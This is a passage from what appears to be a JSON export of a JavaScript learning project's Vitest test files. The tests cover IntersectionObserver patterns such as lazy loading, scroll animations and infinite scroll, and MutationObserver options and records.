observer.observe(img)\n\n      observer.triggerIntersection([{\n        target: img,\n        isIntersecting: true,\n        intersectionRatio: 0.5\n      }])\n\n      expect(img.src).toContain('real-image.jpg')\n      expect(img.classList.contains('loaded')).toBe(true)\n      expect(img.classList.contains('lazy')).toBe(false)\n      expect(loadedImages.length).toBe(1)\n      expect(observer.observedElements.length).toBe(0)\n    })\n  })\n\n  describe('Scroll Animation Implementation', () => {\n    it('should add animated class when element intersects', () => {\n      const element = document.createElement('div')\n      element.classList.add('animate-on-scroll')\n      document.body.appendChild(element)\n\n      const observer = new IntersectionObserver((entries) => {\n        entries.forEach(entry => {\n          if (entry.isIntersecting) {\n            entry.target.classList.add('animated')\n          }\n        })\n      }, { threshold: 0.2 })\n\n      observer.observe(element)\n\n      expect(element.classList.contains('animated')).toBe(false)\n\n      observer.triggerIntersection([{\n        target: element,\n        isIntersecting: true,\n        intersectionRatio: 0.5\n      }])\n\n      expect(element.classList.contains('animated')).toBe(true)\n    })\n\n    it('should toggle animation class when animateOnce is false', () => {\n      const element = document.createElement('div')\n      document.body.appendChild(element)\n\n      const animateOnce = false\n\n      const observer = new IntersectionObserver((entries) => {\n        entries.forEach(entry => {\n          if (entry.isIntersecting) {\n            entry.target.classList.add('animated')\n          } else if (!animateOnce) {\n            entry.target.classList.remove('animated')\n          }\n        })\n      })\n\n      observer.observe(element)\n\n      observer.triggerIntersection([{ target: element, isIntersecting: true }])\n      expect(element.classList.contains('animated')).toBe(true)\n\n      observer.triggerIntersection([{ target: element, isIntersecting: false }])\n      expect(element.classList.contains('animated')).toBe(false)\n    })\n  })\n\n  describe('Infinite Scroll Implementation', () => {\n    it('should detect sentinel element for infinite scroll', () => {\n      const content = document.createElement('div')\n      content.id = 'content'\n      const sentinel = document.createElement('div')\n      sentinel.id = 'sentinel'\n      document.body.appendChild(content)\n      document.body.appendChild(sentinel)\n\n      let loadMoreCalled = false\n\n      const observer = new IntersectionObserver((entries) => {\n        const entry = entries[0]\n        if (entry.isIntersecting) {\n          loadMoreCalled = true\n        }\n      }, { rootMargin: '200px' })\n\n      observer.observe(sentinel)\n\n      observer.triggerIntersection([{\n        target: sentinel,\n        isIntersecting: true,\n        intersectionRatio: 1\n      }])\n\n      expect(loadMoreCalled).toBe(true)\n    })\n  })\n\n  describe('Observer Cleanup', () => {\n    it('should unobserve element after handling', () => {\n      const element = document.createElement('div')\n      document.body.appendChild(element)\n\n      const observer = new IntersectionObserver((entries, obs) => {\n        entries.forEach(entry => {\n          if (entry.isIntersecting) {\n            obs.unobserve(entry.target)\n          }\n        })\n      })\n\n      observer.observe(element)\n      expect(observer.observedElements.length).toBe(1)\n\n      observer.triggerIntersection([{\n        target: element,\n        isIntersecting: true\n      }])\n\n      expect(observer.observedElements.length).toBe(0)\n    })\n\n    it('should disconnect all observations', () => {\n      const el1 = document.createElement('div')\n      const el2 = document.createElement('div')\n      document.body.appendChild(el1)\n      document.body.appendChild(el2)\n\n      const observer = new IntersectionObserver(vi.fn())\n\n      observer.observe(el1)\n      observer.observe(el2)\n      expect(observer.observedElements.length).toBe(2)\n\n      observer.disconnect()\n      expect(observer.observedElements.length).toBe(0)\n    })\n  })\n\n  describe('Callback Behavior', () => {\n    it('should fire callback immediately when observe() is called', () => {\n      const element = document.createElement('div')\n      document.body.appendChild(element)\n\n      const callback = vi.fn()\n      const observer = new IntersectionObserver(callback)\n\n      observer.observe(element)\n\n      expect(callback).toHaveBeenCalledTimes(1)\n    })\n\n    it('should provide observer reference in callback', () => {\n      const element = document.createElement('div')\n      document.body.appendChild(element)\n\n      let receivedObserver = null\n\n      const observer = new IntersectionObserver((entries, obs) => {\n        receivedObserver = obs\n      })\n\n      observer.observe(element)\n\n      expect(receivedObserver).toBe(observer)\n    })\n\n    it('should provide entry with correct target', () => {\n      const element = document.createElement('div')\n      element.id = 'test-target'\n      document.body.appendChild(element)\n\n      let receivedTarget = null\n\n      const observer = new IntersectionObserver((entries) => {\n        receivedTarget = entries[0].target\n      })\n\n      observer.observe(element)\n\n      expect(receivedTarget).toBe(element)\n      expect(receivedTarget.id).toBe('test-target')\n    })\n  })\n\n  describe('Section Navigation Pattern', () => {\n    it('should highlight active nav link based on visible section', () => {\n      const nav = document.createElement('nav')\n      nav.innerHTML = `\n        <a href=\"#section1\">Section 1</a>\n        <a href=\"#section2\">Section 2</a>\n        <a href=\"#section3\">Section 3</a>\n      `\n      document.body.appendChild(nav)\n\n      const section1 = document.createElement('section')\n      section1.id = 'section1'\n      const section2 = document.createElement('section')\n      section2.id = 'section2'\n      document.body.appendChild(section1)\n      document.body.appendChild(section2)\n\n      const navLinks = nav.querySelectorAll('a')\n\n      const observer = new IntersectionObserver((entries) => {\n        entries.forEach(entry => {\n          if (entry.isIntersecting) {\n            navLinks.forEach(link => link.classList.remove('active'))\n            const activeLink = nav.querySelector(`a[href=\"#${entry.target.id}\"]`)\n            if (activeLink) {\n              activeLink.classList.add('active')\n            }\n          }\n        })\n      }, { threshold: 0.5 })\n\n      observer.observe(section1)\n      observer.observe(section2)\n\n      observer.triggerIntersection([{\n        target: section2,\n        isIntersecting: true,\n        intersectionRatio: 0.6\n      }])\n\n      const activeLink = nav.querySelector('a.active')\n      expect(activeLink.getAttribute('href')).toBe('#section2')\n    })\n  })\n\n  describe('Feature Detection', () => {\n    it('should detect IntersectionObserver support', () => {\n      expect('IntersectionObserver' in window).toBe(true)\n    })\n\n    it('should handle missing IntersectionObserver gracefully', () => {\n      const originalIO = global.IntersectionObserver\n      delete global.IntersectionObserver\n\n      const hasSupport = 'IntersectionObserver' in global\n\n      expect(hasSupport).toBe(false)\n\n      global.IntersectionObserver = originalIO\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/observer-apis/intersection-observer/intersection-observer.test.js",
    "content": "/**\n * Tests for Intersection Observer concept page\n * Source: /docs/beyond/concepts/intersection-observer.mdx\n * \n * Note: Intersection Observer is a browser API that cannot be fully tested\n * without a real browser environment. These tests verify the concepts and\n * patterns described in the documentation using mocks and simulated behavior.\n */\n\nimport { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\ndescribe('Intersection Observer Concepts', () => {\n  describe('IntersectionObserverEntry Properties', () => {\n    // MDX lines ~105-130: IntersectionObserverEntry Properties table\n    it('should understand entry property types', () => {\n      // Simulating the shape of IntersectionObserverEntry\n      const mockEntry = {\n        target: { id: 'test-element' },        // Element being observed\n        isIntersecting: true,                   // boolean\n        intersectionRatio: 0.5,                 // number (0.0 to 1.0)\n        boundingClientRect: { top: 100, left: 0, width: 200, height: 100 },\n        intersectionRect: { top: 100, left: 0, width: 200, height: 50 },\n        rootBounds: { top: 0, left: 0, width: 800, height: 600 },\n        time: 1234567890.123                    // DOMHighResTimeStamp\n      }\n\n      expect(typeof mockEntry.target).toBe('object')\n      expect(typeof mockEntry.isIntersecting).toBe('boolean')\n      expect(typeof mockEntry.intersectionRatio).toBe('number')\n      expect(mockEntry.intersectionRatio).toBeGreaterThanOrEqual(0)\n      expect(mockEntry.intersectionRatio).toBeLessThanOrEqual(1)\n      expect(typeof mockEntry.time).toBe('number')\n    })\n\n    // MDX lines ~125-135: intersectionRatio calculation\n    it('should calculate visibility percentage from intersectionRatio', () => {\n      const intersectionRatio = 0.75\n      const visibilityPercent = Math.round(intersectionRatio * 100) + '%'\n      \n      expect(visibilityPercent).toBe('75%')\n    })\n  })\n\n  describe('Observer Options Validation', () => {\n    // MDX lines ~140-165: The root Option\n    it('should understand root option defaults', () => {\n      const defaultOptions = {\n        root: null,           // viewport by default\n        rootMargin: '0px',    // no margin by default  \n        threshold: 0          // any pixel visible by default\n      }\n\n      expect(defaultOptions.root).toBeNull()\n      expect(defaultOptions.rootMargin).toBe('0px')\n      expect(defaultOptions.threshold).toBe(0)\n    })\n\n    // MDX lines ~180-215: The rootMargin Option\n    it('should understand rootMargin string format', () => {\n      // rootMargin follows CSS margin format\n      const validMargins = [\n        '100px',                    // All sides\n        '100px 0px',                // top/bottom, left/right\n        '100px 0px 100px 0px',      // top, right, bottom, left\n        '-50px',                    // Negative margins shrink\n        '0px 0px -50%',             // Percentages work\n        '200px 0px 200px 0px'       // Large buffer for preloading\n      ]\n\n      validMargins.forEach(margin => {\n        expect(typeof margin).toBe('string')\n      })\n    })\n\n    // MDX lines ~220-260: The threshold Option\n    it('should accept single threshold values', () => {\n      const singleThresholds = [0, 0.5, 1.0]\n      \n      singleThresholds.forEach(threshold => {\n        expect(threshold).toBeGreaterThanOrEqual(0)\n        expect(threshold).toBeLessThanOrEqual(1)\n      })\n    })\n\n    it('should accept array of threshold values', () => {\n      const thresholdArray = [0, 0.25, 0.5, 0.75, 1.0]\n      \n      expect(Array.isArray(thresholdArray)).toBe(true)\n      thresholdArray.forEach(threshold => {\n        expect(threshold).toBeGreaterThanOrEqual(0)\n        expect(threshold).toBeLessThanOrEqual(1)\n      })\n    })\n  })\n\n  describe('Lazy Loading Pattern Logic', () => {\n    // MDX lines ~315-365: Implementing Lazy Loading Images\n    it('should swap data-src to src pattern', () => {\n      const mockImage = {\n        src: 'placeholder.svg',\n        dataset: { src: 'real-image.jpg', srcset: 'image-1x.jpg 1x, image-2x.jpg 2x' },\n        classList: {\n          removed: [],\n          added: [],\n          remove(cls) { this.removed.push(cls) },\n          add(cls) { this.added.push(cls) }\n        }\n      }\n\n      // Simulate lazy loading logic\n      function lazyLoadImage(img) {\n        img.src = img.dataset.src\n        if (img.dataset.srcset) {\n          img.srcset = img.dataset.srcset\n        }\n        img.classList.remove('lazy')\n        img.classList.add('loaded')\n      }\n\n      lazyLoadImage(mockImage)\n\n      expect(mockImage.src).toBe('real-image.jpg')\n      expect(mockImage.srcset).toBe('image-1x.jpg 1x, image-2x.jpg 2x')\n      expect(mockImage.classList.removed).toContain('lazy')\n      expect(mockImage.classList.added).toContain('loaded')\n    })\n  })\n\n  describe('Infinite Scroll Pattern Logic', () => {\n    // MDX lines ~385-440: Building Infinite Scroll\n    it('should track loading state to prevent duplicate requests', async () => {\n      let isLoading = false\n      let page = 1\n      const fetchCalls = []\n\n      async function loadMoreContent() {\n        if (isLoading) return // Prevent duplicate calls\n        \n        isLoading = true\n        fetchCalls.push(page)\n        page++\n        \n        // Simulate async fetch\n        await new Promise(resolve => setTimeout(resolve, 10))\n        isLoading = false\n      }\n\n      // Simulate rapid scroll events (should only trigger one load)\n      await Promise.all([\n        loadMoreContent(),\n        loadMoreContent(),\n        loadMoreContent()\n      ])\n\n      // Only one fetch should have happened due to isLoading guard\n      expect(fetchCalls.length).toBe(1)\n      expect(page).toBe(2)\n    })\n\n    it('should stop observing when no more content', () => {\n      let observing = true\n      const posts = [] // Empty array = no more content\n      \n      function handleIntersection() {\n        if (posts.length === 0) {\n          observing = false // Stop observing\n          return\n        }\n      }\n\n      handleIntersection()\n      expect(observing).toBe(false)\n    })\n  })\n\n  describe('Scroll Animation Pattern Logic', () => {\n    // MDX lines ~455-500: Scroll-Triggered Animations\n    it('should create reusable animation observer factory', () => {\n      function createScrollAnimator(options = {}) {\n        const {\n          threshold = 0.2,\n          rootMargin = '0px',\n          animateOnce = true,\n          animatedClass = 'animated'\n        } = options\n\n        return { threshold, rootMargin, animateOnce, animatedClass }\n      }\n\n      const defaultAnimator = createScrollAnimator()\n      expect(defaultAnimator.threshold).toBe(0.2)\n      expect(defaultAnimator.rootMargin).toBe('0px')\n      expect(defaultAnimator.animateOnce).toBe(true)\n      expect(defaultAnimator.animatedClass).toBe('animated')\n\n      const customAnimator = createScrollAnimator({ \n        threshold: 0.5, \n        animateOnce: false \n      })\n      expect(customAnimator.threshold).toBe(0.5)\n      expect(customAnimator.animateOnce).toBe(false)\n    })\n  })\n\n  describe('Cleanup Patterns', () => {\n    // MDX lines ~605-650: The #1 Intersection Observer Mistake\n    it('should demonstrate cleanup function pattern', () => {\n      let disconnected = false\n      \n      function setupObserver() {\n        const mockObserver = {\n          observe: vi.fn(),\n          unobserve: vi.fn(),\n          disconnect: () => { disconnected = true }\n        }\n        \n        // Return cleanup function\n        return () => mockObserver.disconnect()\n      }\n\n      const cleanup = setupObserver()\n      expect(disconnected).toBe(false)\n      \n      cleanup() // Simulate component unmount\n      expect(disconnected).toBe(true)\n    })\n\n    it('should unobserve after lazy loading', () => {\n      const unobservedElements = []\n      \n      const mockObserver = {\n        unobserve: (element) => unobservedElements.push(element)\n      }\n\n      // Simulate lazy load callback\n      function handleIntersection(entry, observer) {\n        if (entry.isIntersecting) {\n          // Load image...\n          observer.unobserve(entry.target)\n        }\n      }\n\n      const mockEntry = { isIntersecting: true, target: { id: 'img1' } }\n      handleIntersection(mockEntry, mockObserver)\n\n      expect(unobservedElements).toContainEqual({ id: 'img1' })\n    })\n  })\n\n  describe('Visibility Detection Logic', () => {\n    // MDX lines ~30-60: isIntersecting vs intersectionRatio\n    it('should use isIntersecting for simple visibility checks', () => {\n      const entries = [\n        { isIntersecting: true, intersectionRatio: 0.5 },\n        { isIntersecting: false, intersectionRatio: 0 },\n        { isIntersecting: true, intersectionRatio: 1.0 }\n      ]\n\n      const visibleEntries = entries.filter(e => e.isIntersecting)\n      expect(visibleEntries.length).toBe(2)\n    })\n\n    it('should use intersectionRatio for progressive visibility tracking', () => {\n      const entry = { intersectionRatio: 0.75 }\n      \n      // Ad viewability: count impression when 50%+ visible\n      const isViewable = entry.intersectionRatio >= 0.5\n      expect(isViewable).toBe(true)\n\n      // Progress tracking\n      const percentVisible = Math.round(entry.intersectionRatio * 100)\n      expect(percentVisible).toBe(75)\n    })\n  })\n\n  describe('Threshold Behavior', () => {\n    // MDX lines ~220-260: threshold option behavior\n    it('should understand threshold 0 triggers on any visibility', () => {\n      // threshold: 0 means callback fires when target touches root boundary\n      const callback = vi.fn()\n      \n      // Simulate entries at threshold 0\n      const entryJustVisible = { intersectionRatio: 0.01, isIntersecting: true }\n      \n      // Even 1% visible should trigger with threshold: 0\n      if (entryJustVisible.isIntersecting) {\n        callback(entryJustVisible)\n      }\n      \n      expect(callback).toHaveBeenCalled()\n    })\n\n    it('should understand threshold 1.0 requires full visibility', () => {\n      // threshold: 1.0 means callback fires only when 100% visible\n      const threshold = 1.0\n      \n      const partiallyVisible = { intersectionRatio: 0.9 }\n      const fullyVisible = { intersectionRatio: 1.0 }\n      \n      expect(partiallyVisible.intersectionRatio >= threshold).toBe(false)\n      expect(fullyVisible.intersectionRatio >= threshold).toBe(true)\n    })\n\n    it('should warn about threshold 1.0 with tall elements', () => {\n      // If element is taller than viewport, it can never be 100% visible\n      const elementHeight = 1200 // pixels\n      const viewportHeight = 800 // pixels\n      \n      const canBeFullyVisible = elementHeight <= viewportHeight\n      expect(canBeFullyVisible).toBe(false)\n      \n      // In this case, use a lower threshold or check intersectionRatio\n      const practicalThreshold = 0.8\n      expect(practicalThreshold).toBeLessThan(1.0)\n    })\n  })\n\n  describe('Common Mistakes Prevention', () => {\n    // MDX lines ~680-750: Common Mistakes section\n    it('Mistake 2: should use single observer for multiple elements', () => {\n      const observers = []\n      const elements = ['el1', 'el2', 'el3', 'el4', 'el5']\n\n      // BAD: Creating new observer for each element\n      function badPattern() {\n        elements.forEach(el => {\n          observers.push({ target: el })\n        })\n        return observers.length\n      }\n\n      // GOOD: One observer watching many elements\n      function goodPattern() {\n        const singleObserver = { targets: [] }\n        elements.forEach(el => {\n          singleObserver.targets.push(el)\n        })\n        return 1 // Just one observer\n      }\n\n      expect(badPattern()).toBe(5) // 5 \"observers\"\n      expect(goodPattern()).toBe(1) // 1 observer\n    })\n\n    it('Mistake 3: should check isIntersecting in callback', () => {\n      // Callback fires immediately on observe() call\n      const entriesReceived = []\n      \n      function handleEntries(entries) {\n        entries.forEach(entry => {\n          // WRONG: Assuming callback only fires when visible\n          // loadImage(entry.target) // Would load all images immediately!\n          \n          // RIGHT: Check isIntersecting first\n          if (entry.isIntersecting) {\n            entriesReceived.push(entry)\n          }\n        })\n      }\n\n      // Initial callback with non-intersecting elements\n      const initialEntries = [\n        { isIntersecting: false, target: 'img1' },\n        { isIntersecting: false, target: 'img2' },\n        { isIntersecting: true, target: 'img3' }\n      ]\n\n      handleEntries(initialEntries)\n      expect(entriesReceived.length).toBe(1) // Only img3\n    })\n  })\n\n  describe('Feature Detection', () => {\n    // MDX lines ~775-790: Browser Support\n    it('should demonstrate feature detection pattern', () => {\n      // Simulate browser without IntersectionObserver\n      const windowWithoutIO = {}\n      const windowWithIO = { IntersectionObserver: function() {} }\n\n      function hasIntersectionObserver(win) {\n        return 'IntersectionObserver' in win\n      }\n\n      expect(hasIntersectionObserver(windowWithoutIO)).toBe(false)\n      expect(hasIntersectionObserver(windowWithIO)).toBe(true)\n    })\n  })\n\n  describe('Key Takeaways Validation', () => {\n    // MDX lines ~800-830: Key Takeaways\n    it('Takeaway 1: Observer is more performant than scroll events', () => {\n      // Scroll events fire 60+ times per second\n      // IntersectionObserver only fires when visibility changes\n      const scrollEventFrequency = 60 // per second\n      const observerCallsPerVisibilityChange = 1\n      \n      expect(scrollEventFrequency).toBeGreaterThan(observerCallsPerVisibilityChange)\n    })\n\n    it('Takeaway 4: One observer can watch many elements', () => {\n      const observedElements = []\n      const mockObserver = {\n        observe: (el) => observedElements.push(el)\n      }\n\n      // Can observe multiple elements with single observer\n      const elements = ['el1', 'el2', 'el3']\n      elements.forEach(el => mockObserver.observe(el))\n\n      expect(observedElements.length).toBe(3)\n    })\n\n    it('Takeaway 6: rootMargin enables preloading', () => {\n      // Positive margin = detect before visible\n      const preloadMargin = '100px'\n      \n      // Element at position 700px from top of viewport (800px height)\n      // With rootMargin: 100px, detection happens at 800 + 100 = 900px\n      const viewportHeight = 800\n      const marginValue = 100\n      const effectiveDetectionArea = viewportHeight + marginValue\n      \n      expect(effectiveDetectionArea).toBe(900)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/observer-apis/mutation-observer/mutation-observer.dom.test.js",
    "content": "/**\n * @vitest-environment jsdom\n */\nimport { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\n// ============================================================\n// MUTATIONOBSERVER TESTS\n// From mutation-observer.mdx\n// ============================================================\n\ndescribe('MutationObserver', () => {\n  let container\n  let observer\n\n  beforeEach(() => {\n    container = document.createElement('div')\n    container.id = 'test-container'\n    document.body.appendChild(container)\n  })\n\n  afterEach(() => {\n    if (observer) {\n      observer.disconnect()\n      observer = null\n    }\n    document.body.innerHTML = ''\n    vi.restoreAllMocks()\n  })\n\n  // ============================================================\n  // CREATING A MUTATIONOBSERVER\n  // From mutation-observer.mdx lines 75-120\n  // ============================================================\n\n  describe('Creating a MutationObserver', () => {\n    // From lines 75-85: Basic observer creation\n    it('should create observer with callback', () => {\n      const callback = vi.fn()\n      observer = new MutationObserver(callback)\n      \n      expect(observer).toBeInstanceOf(MutationObserver)\n    })\n\n    // From lines 90-98: Observer receives mutations array\n    it('should call callback with mutations array when changes occur', async () => {\n      const mutations = []\n      \n      observer = new MutationObserver((mutationList) => {\n        mutations.push(...mutationList)\n      })\n      \n      observer.observe(container, { childList: true })\n      \n      container.appendChild(document.createElement('span'))\n      \n      // Wait for microtask\n      await Promise.resolve()\n      \n      expect(mutations.length).toBe(1)\n      expect(mutations[0].type).toBe('childList')\n    })\n\n    // From lines 100-115: Processing mutation types\n    it('should report correct mutation type for childList changes', async () => {\n      let mutationType = null\n      \n      observer = new MutationObserver((mutations) => {\n        mutationType = mutations[0].type\n      })\n      \n      observer.observe(container, { childList: true })\n      container.appendChild(document.createElement('div'))\n      \n      await Promise.resolve()\n      \n      expect(mutationType).toBe('childList')\n    })\n\n    it('should report correct mutation type for attribute changes', async () => {\n      let mutationType = null\n      let attributeName = null\n      \n      observer = new MutationObserver((mutations) => {\n        mutationType = mutations[0].type\n        attributeName = mutations[0].attributeName\n      })\n      \n      observer.observe(container, { attributes: true })\n      container.setAttribute('data-test', 'value')\n      \n      await Promise.resolve()\n      \n      expect(mutationType).toBe('attributes')\n      expect(attributeName).toBe('data-test')\n    })\n  })\n\n  // ============================================================\n  // CONFIGURATION OPTIONS\n  // From mutation-observer.mdx lines 130-220\n  // ============================================================\n\n  describe('Configuration Options', () => {\n    // From lines 140-155: childList option\n    describe('childList option', () => {\n      it('should detect added nodes', async () => {\n        const addedNodes = []\n        \n        observer = new MutationObserver((mutations) => {\n          for (const mutation of mutations) {\n            addedNodes.push(...mutation.addedNodes)\n          }\n        })\n        \n        observer.observe(container, { childList: true })\n        \n        const newElement = document.createElement('span')\n        container.appendChild(newElement)\n        \n        await Promise.resolve()\n        \n        expect(addedNodes).toContain(newElement)\n      })\n\n      it('should detect removed nodes', async () => {\n        const child = document.createElement('span')\n        container.appendChild(child)\n        \n        const removedNodes = []\n        \n        observer = new MutationObserver((mutations) => {\n          for (const mutation of mutations) {\n            removedNodes.push(...mutation.removedNodes)\n          }\n        })\n        \n        observer.observe(container, { childList: true })\n        container.removeChild(child)\n        \n        await Promise.resolve()\n        \n        expect(removedNodes).toContain(child)\n      })\n\n      it('should detect innerHTML changes', async () => {\n        let mutationCount = 0\n        \n        observer = new MutationObserver((mutations) => {\n          mutationCount = mutations.length\n        })\n        \n        observer.observe(container, { childList: true })\n        container.innerHTML = '<p>New content</p>'\n        \n        await Promise.resolve()\n        \n        expect(mutationCount).toBeGreaterThan(0)\n      })\n    })\n\n    // From lines 160-180: attributes option\n    describe('attributes option', () => {\n      it('should detect setAttribute changes', async () => {\n        let changedAttribute = null\n        \n        observer = new MutationObserver((mutations) => {\n          changedAttribute = mutations[0].attributeName\n        })\n        \n        observer.observe(container, { attributes: true })\n        container.setAttribute('data-active', 'true')\n        \n        await Promise.resolve()\n        \n        expect(changedAttribute).toBe('data-active')\n      })\n\n      it('should detect classList changes', async () => {\n        let changedAttribute = null\n        \n        observer = new MutationObserver((mutations) => {\n          changedAttribute = mutations[0].attributeName\n        })\n        \n        observer.observe(container, { attributes: true })\n        container.classList.add('highlight')\n        \n        await Promise.resolve()\n        \n        expect(changedAttribute).toBe('class')\n      })\n\n      it('should detect id changes', async () => {\n        let changedAttribute = null\n        \n        observer = new MutationObserver((mutations) => {\n          changedAttribute = mutations[0].attributeName\n        })\n        \n        observer.observe(container, { attributes: true })\n        container.id = 'new-id'\n        \n        await Promise.resolve()\n        \n        expect(changedAttribute).toBe('id')\n      })\n    })\n\n    // From lines 185-200: attributeFilter option\n    describe('attributeFilter option', () => {\n      it('should only observe specified attributes', async () => {\n        const observedAttributes = []\n        \n        observer = new MutationObserver((mutations) => {\n          for (const mutation of mutations) {\n            observedAttributes.push(mutation.attributeName)\n          }\n        })\n        \n        observer.observe(container, {\n          attributes: true,\n          attributeFilter: ['class', 'data-state']\n        })\n        \n        container.classList.toggle('active')\n        container.dataset.state = 'loading'\n        container.setAttribute('title', 'Hello') // Should NOT be observed\n        \n        await Promise.resolve()\n        \n        expect(observedAttributes).toContain('class')\n        expect(observedAttributes).toContain('data-state')\n        expect(observedAttributes).not.toContain('title')\n      })\n    })\n\n    // From lines 205-220: attributeOldValue option\n    describe('attributeOldValue option', () => {\n      it('should include old value when attributeOldValue is true', async () => {\n        container.setAttribute('data-value', 'original')\n        \n        let oldValue = null\n        let newValue = null\n        \n        observer = new MutationObserver((mutations) => {\n          oldValue = mutations[0].oldValue\n          newValue = mutations[0].target.getAttribute(mutations[0].attributeName)\n        })\n        \n        observer.observe(container, {\n          attributes: true,\n          attributeOldValue: true\n        })\n        \n        container.setAttribute('data-value', 'updated')\n        \n        await Promise.resolve()\n        \n        expect(oldValue).toBe('original')\n        expect(newValue).toBe('updated')\n      })\n    })\n  })\n\n  // ============================================================\n  // SUBTREE OPTION\n  // From mutation-observer.mdx lines 280-320\n  // ============================================================\n\n  describe('Subtree Option', () => {\n    // From lines 285-300: Without subtree\n    it('should only observe direct children without subtree option', async () => {\n      const child = document.createElement('div')\n      const grandchild = document.createElement('span')\n      child.appendChild(grandchild)\n      container.appendChild(child)\n      \n      const mutations = []\n      \n      observer = new MutationObserver((mutationList) => {\n        mutations.push(...mutationList)\n      })\n      \n      // Observe WITHOUT subtree\n      observer.observe(container, { childList: true })\n      \n      // Add to grandchild - should NOT trigger\n      grandchild.appendChild(document.createElement('p'))\n      \n      await Promise.resolve()\n      \n      // No mutations expected since we're not watching subtree\n      expect(mutations.length).toBe(0)\n    })\n\n    // From lines 305-320: With subtree\n    it('should observe all descendants with subtree option', async () => {\n      const child = document.createElement('div')\n      const grandchild = document.createElement('span')\n      child.appendChild(grandchild)\n      container.appendChild(child)\n      \n      const mutations = []\n      \n      observer = new MutationObserver((mutationList) => {\n        mutations.push(...mutationList)\n      })\n      \n      // Observe WITH subtree\n      observer.observe(container, { childList: true, subtree: true })\n      \n      // Add to grandchild - SHOULD trigger\n      grandchild.appendChild(document.createElement('p'))\n      \n      await Promise.resolve()\n      \n      expect(mutations.length).toBe(1)\n      expect(mutations[0].target).toBe(grandchild)\n    })\n  })\n\n  // ============================================================\n  // MUTATIONRECORD PROPERTIES\n  // From mutation-observer.mdx lines 230-275\n  // ============================================================\n\n  describe('MutationRecord Properties', () => {\n    // From lines 240-260: addedNodes and removedNodes\n    it('should provide addedNodes in mutation record', async () => {\n      let record = null\n      \n      observer = new MutationObserver((mutations) => {\n        record = mutations[0]\n      })\n      \n      observer.observe(container, { childList: true })\n      \n      const newElement = document.createElement('p')\n      container.appendChild(newElement)\n      \n      await Promise.resolve()\n      \n      expect(record.addedNodes.length).toBe(1)\n      expect(record.addedNodes[0]).toBe(newElement)\n      expect(record.removedNodes.length).toBe(0)\n    })\n\n    it('should provide removedNodes in mutation record', async () => {\n      const child = document.createElement('p')\n      container.appendChild(child)\n      \n      let record = null\n      \n      observer = new MutationObserver((mutations) => {\n        record = mutations[0]\n      })\n      \n      observer.observe(container, { childList: true })\n      container.removeChild(child)\n      \n      await Promise.resolve()\n      \n      expect(record.removedNodes.length).toBe(1)\n      expect(record.removedNodes[0]).toBe(child)\n      expect(record.addedNodes.length).toBe(0)\n    })\n\n    // From lines 265-275: target property\n    it('should provide target element in mutation record', async () => {\n      let target = null\n      \n      observer = new MutationObserver((mutations) => {\n        target = mutations[0].target\n      })\n      \n      observer.observe(container, { attributes: true })\n      container.setAttribute('data-test', 'value')\n      \n      await Promise.resolve()\n      \n      expect(target).toBe(container)\n    })\n  })\n\n  // ============================================================\n  // DISCONNECTING AND CLEANUP\n  // From mutation-observer.mdx lines 330-380\n  // ============================================================\n\n  describe('Disconnecting and Cleanup', () => {\n    // From lines 335-345: disconnect() method\n    it('should stop observing after disconnect()', async () => {\n      let mutationCount = 0\n      \n      observer = new MutationObserver(() => {\n        mutationCount++\n      })\n      \n      observer.observe(container, { childList: true })\n      \n      // First change - should be observed\n      container.appendChild(document.createElement('span'))\n      await Promise.resolve()\n      expect(mutationCount).toBe(1)\n      \n      // Disconnect\n      observer.disconnect()\n      \n      // Second change - should NOT be observed\n      container.appendChild(document.createElement('span'))\n      await Promise.resolve()\n      expect(mutationCount).toBe(1) // Still 1, not 2\n    })\n\n    // From lines 350-365: takeRecords() method\n    it('should return pending mutations with takeRecords()', async () => {\n      const callbackMutations = []\n      \n      observer = new MutationObserver((mutations) => {\n        callbackMutations.push(...mutations)\n      })\n      \n      observer.observe(container, { childList: true })\n      \n      // Make changes\n      container.appendChild(document.createElement('span'))\n      container.appendChild(document.createElement('div'))\n      \n      // Get pending mutations before they're delivered to callback\n      const pendingMutations = observer.takeRecords()\n      \n      // These mutations are now \"taken\" and won't be delivered to callback\n      await Promise.resolve()\n      \n      expect(pendingMutations.length).toBe(2)\n      expect(callbackMutations.length).toBe(0) // Callback never received them\n    })\n  })\n\n  // ============================================================\n  // FILTERING NODE TYPES\n  // From mutation-observer.mdx lines 440-470 (Common Mistakes)\n  // ============================================================\n\n  describe('Filtering Node Types', () => {\n    // From lines 445-465: Filter for elements only\n    it('should include text nodes in addedNodes', async () => {\n      const addedNodes = []\n      \n      observer = new MutationObserver((mutations) => {\n        for (const mutation of mutations) {\n          addedNodes.push(...mutation.addedNodes)\n        }\n      })\n      \n      observer.observe(container, { childList: true })\n      \n      // This adds a text node, not an element\n      container.textContent = 'Hello'\n      \n      await Promise.resolve()\n      \n      // Should have a text node\n      const hasTextNode = addedNodes.some(node => node.nodeType === Node.TEXT_NODE)\n      expect(hasTextNode).toBe(true)\n    })\n\n    it('should be able to filter for elements only', async () => {\n      const addedElements = []\n      \n      observer = new MutationObserver((mutations) => {\n        for (const mutation of mutations) {\n          for (const node of mutation.addedNodes) {\n            if (node.nodeType === Node.ELEMENT_NODE) {\n              addedElements.push(node)\n            }\n          }\n        }\n      })\n      \n      observer.observe(container, { childList: true })\n      \n      // Add text node (should be ignored)\n      container.appendChild(document.createTextNode('Hello'))\n      // Add element (should be captured)\n      const elem = document.createElement('span')\n      container.appendChild(elem)\n      \n      await Promise.resolve()\n      \n      expect(addedElements.length).toBe(1)\n      expect(addedElements[0]).toBe(elem)\n    })\n  })\n\n  // ============================================================\n  // CHARACTERDATA MUTATIONS\n  // From mutation-observer.mdx lines 110-115\n  // ============================================================\n\n  describe('characterData Mutations', () => {\n    it('should detect text content changes in text nodes', async () => {\n      const textNode = document.createTextNode('Initial text')\n      container.appendChild(textNode)\n      \n      let mutationType = null\n      let oldValue = null\n      \n      observer = new MutationObserver((mutations) => {\n        mutationType = mutations[0].type\n        oldValue = mutations[0].oldValue\n      })\n      \n      observer.observe(container, {\n        characterData: true,\n        subtree: true,\n        characterDataOldValue: true\n      })\n      \n      textNode.textContent = 'Updated text'\n      \n      await Promise.resolve()\n      \n      expect(mutationType).toBe('characterData')\n      expect(oldValue).toBe('Initial text')\n    })\n  })\n\n  // ============================================================\n  // REAL-WORLD USE CASES\n  // From mutation-observer.mdx lines 400-440\n  // 